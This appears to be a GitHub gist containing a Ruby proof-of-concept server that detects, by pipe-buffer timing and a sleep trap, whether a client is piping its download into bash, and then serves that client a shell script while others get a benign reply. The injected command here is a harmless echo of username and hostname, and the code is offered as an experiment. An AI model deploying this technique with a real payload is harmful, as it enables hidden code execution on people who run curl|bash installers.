Skip to content

Instantly share code, notes, and snippets.

@coderobe
Last active May 23, 2026 13:27
Show Gist options
  • Select an option

  • Save coderobe/3b1fdc9994e67babf2e9d3c0e724b619 to your computer and use it in GitHub Desktop.

Select an option

Save coderobe/3b1fdc9994e67babf2e9d3c0e724b619 to your computer and use it in GitHub Desktop.
experimental curl | bash detection and script injection
require 'socket'
require 'timeout'
# Start a TCP server on port 8080
server = TCPServer.new('0.0.0.0', 8080)
puts "Server is running on port 8080..."
# Increase the pipe buffer size significantly (e.g., 3MB)
PIPE_BUFFER_SIZE = 3 * 1024 * 1024 + 1024 # 3MB + 1KB
loop do
# Accept incoming client connections
Thread.start(server.accept) do |client|
begin
# Read the client's request headers
request = ''
while line = client.gets
request += line
break if line == "\r\n"
end
# Send HTTP response headers with chunked transfer encoding
response_headers = <<~HEREDOC
HTTP/1.1 200 OK\r
Content-Type: text/plain\r
Transfer-Encoding: chunked\r
\r
HEREDOC
client.write(response_headers)
client.flush
# Generate a large initial chunk to fill the pipe buffer
filler_line = "\e[2K"
filler_repeat = (PIPE_BUFFER_SIZE / filler_line.bytesize) + 1
filler = filler_line * filler_repeat
trap_duration = 1
initial_chunk = "# Hi there! \e[2K\n"
client.write("%x\r\n%s\r\n" % [initial_chunk.bytesize, initial_chunk])
client.flush
# Send a big chunk and measure the time (connection benchmark)
script_chunk = "#\e[1A#{filler}\n"
start_time = Time.now
client.write("%x\r\n%s\r\n" % [script_chunk.bytesize, script_chunk])
client.flush
end_time = Time.now
write_duration = end_time - start_time
puts "Measurement chunk took #{write_duration}s"
trap_chunk = "sleep #{write_duration+trap_duration};#\e[2K\e[1A\n"
client.write("%x\r\n%s\r\n" % [trap_chunk.bytesize, trap_chunk])
client.flush
# Attempt to send another chunk after setting the shell trap
script_chunk = "#\e[1A#{filler}\e[1A\n"
write_succeeded = false
start_time = Time.now
begin
Timeout.timeout(write_duration*2+trap_duration) do
client.write("%x\r\n%s\r\n" % [script_chunk.bytesize, script_chunk])
client.flush
write_succeeded = true
end
puts "Trapped chunk within margin. (#{(write_duration*2+trap_duration) - (Time.now - start_time)}s left)"
rescue Timeout::Error
puts "Trapped chunk took #{Time.now - start_time} (#{(Time.now - start_time) - write_duration}s slower!)"
write_succeeded = false
end
# If the write timed out, it's probably piping to bash
# ... unless the write timed out but the benchmark was *faster* than 0.3s, then I/O is just being janky
if !write_succeeded && write_duration > 0.3
# Write blocked or timed out; assume it's piping to bash
is_piping_to_bash = true
else
# Client is reading data quickly; assume it's NOT piping to bash
is_piping_to_bash = false
end
rescue Errno::EPIPE, Errno::ECONNRESET
# Client has closed the connection
is_piping_to_bash = false
end
if is_piping_to_bash
# Send the rest of the shell script
script_chunk = "echo Hello, $(whoami) on $(hostname -s);\n"
client.write("%x\r\n%s\n" % [script_chunk.bytesize, script_chunk])
# Indicate the end of the chunks
#client.write("0\r\n\r\n")
puts "Sent shell script to client piping to bash."
else
# Send a benign response
message = "Hello, world!\n"
client.write("%x\r\n%s\r\n" % [message.bytesize, message])
# Indicate the end of the chunks
client.write("0\r\n\r\n")
puts "Sent benign response to regular client."
end
# Close the client connection
client.close
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment